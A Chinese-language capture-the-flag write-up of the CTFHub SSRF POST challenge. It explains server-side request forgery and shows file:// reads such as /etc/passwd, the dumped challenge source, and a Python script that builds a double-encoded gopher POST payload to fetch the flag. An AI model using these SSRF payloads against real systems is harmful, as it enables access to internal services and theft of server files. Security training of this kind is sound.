CTFHub_Web_SSRF_POST

首先，简单来了解一下SSRF

• SSRF（server-side request forgery，服务端请求伪造），是一种由攻击者构造形 成由服务器发起请求的一个漏洞。让服务器去请求通常请求不到的东西。

  一般用来在外网探测或攻击内网服务。

  SSRF漏洞形成的原因多事服务端提供了从外部服务获取数据的功能，但没有对目标地址、协议等重要参数进行过滤和限制，从而导致攻击者可以自由构造参数，而发起预期外的请求

• 漏洞成因

• 相关函数
  1. file_get_contents()：将整个文件或一个url所指向的文件读入一个字符串中
  2. fsockopen()：打开一个网络连接或者一个Unix 套接字连接
  3. curl_exec()：初始化一个新的会话，返回一个cURL句柄，供curl_setopt()，curl_exec()和curl_close() 函数使用
• 相关协议
  1. file协议： 在有回显的情况下，利用 file 协议可以读取任意文件的内容

     ssrf.php?url=file:///etc/passwd
     ssrf.php?url=file:///var/www/html/flag.php
                

  2. http/s协议：探测内网主机存活
  3. dict协议：泄露安装软件版本信息，查看端口，操作内网redis服务等
  4. gopher协议（攻击内网服务的万金油）：gopher支持发出GET、POST请求。可以先截获get请求包和post请求包，再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell

     URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流
                

     注意：
     • gopher的默认端口是70如果发起POST请求
     • 回车换行需要使用

       %0D%0A

       来代替

       %0A

       如果多个参数
     • 参数之间的&也需要进行URL编码
     使用方式：
     1. 构造HTTP GET/POST请求消息
     2. 对请求消息进行URL编码
     3. 将编码后的字符串中%0A替换为%0D%0A
     4. 将最终的字符串再进行一次URL编码
     5. 拼接协议头、请求地址

Post 请求

首先打开靶机

页面没有任何信息，查看源码，发现也是空白

通过GET传参直接拼接

?url=127.0.0.1/flag.php

，访问后页面回显出来一个输入框

查看源码

根据提示，将key的值复制到输入框

查看回显，得到提示：只允许从127.0.0.1访问

尝试通过file协议读取flag.php和index.php

构造

?url=file:///var/www/html/flag.php

<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>
           

构造：

?url=file:///var/www/html/index.php

<?php

error_reporting(0);

if (!isset($REQUEST['url'])){

header("Location: /?url=");

exit;

}


$ch = curl_init();   
//初始化一次curl对话，ch返回curl句柄
//curl_setopt为 cURL 会话句柄设置选项。

curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);   
//curlopt_url需要获取的 URL 地址

curl_setopt($ch, CURLOPT_HEADER, 0);   
//启用时会将头文件的信息作为数据流输出。

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);   
// 位掩码， 1 (301 永久重定向), 2 (302 Found) 和 4 (303 See Other) 设置 CURLOPT_FOLLOWLOCATION 时，什么情况下需要再次 HTTP POST 到重定向网址。

curl_exec($ch);  
//执行

curl_close($ch);
           

一个比较好的思路：目前已知flag.php含有奇怪字符key，index.php能够接受url传参，并利用curl功能访问url传参的内容。那么我们可以利用gopher协议往index.php中传入一个POST请求包。请求包里是flag.php的key。

我们需要构造：

/?url=127.0.0.1:80/index.php?url=(利用gopher协议传入post请求)

构造gopher协议需要的post请求：

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Length: 36
Content-Type: application/x-www-form-urlencoded

key=065a8ca0a616dc5981333d9f091a7fb2
           

注意：在使用 Gopher协议发送 POST请求包时，Host、Content-Type和Content-Length请求头是必不可少的，但在 GET请求中可以没有。

在向服务器发送请求时，首先浏览器会进行一次 URL解码，其次服务器收到请求后，在执行curl功能时，进行第二次 URL解码。

所以我们需要对构造的请求包进行两次 URL编码

在第一次编码后的数据中，将

%0A

全部手动替换为

%0D%0A

。因为 Gopher协议包含的请求数据包中，可能包含有

=

、

&

等特殊字符，避免与服务器解析传入的参数键值对混淆，所以对数据包进行 URL编码，这样服务端会把

%

后的字节当做普通字节。

替换完成后，再对URL进行第二次编码

其实可以直接用脚本

import urllib.parse
payload =\
"""
POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=065a8ca0a616dc5981333d9f091a7fb2
"""  
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # 因为是GET请求所以要进行两次url编码
           

• urllib.request 发送http请求
• urllib.error 处理请求过程中,出现的异常
• urllib.parse 解析url
• urllib.robotparser 解析robots.txt 文件

解析脚本得到：

构造

?url=gopher%3A//127.0.0.1%3A80/_%250D%250A%250D%250APOST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%252036%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250A%250D%250Akey%253D065a8ca0a616dc5981333d9f091a7fb2%250D%250A%250D%250A%250D%250A

拿到flag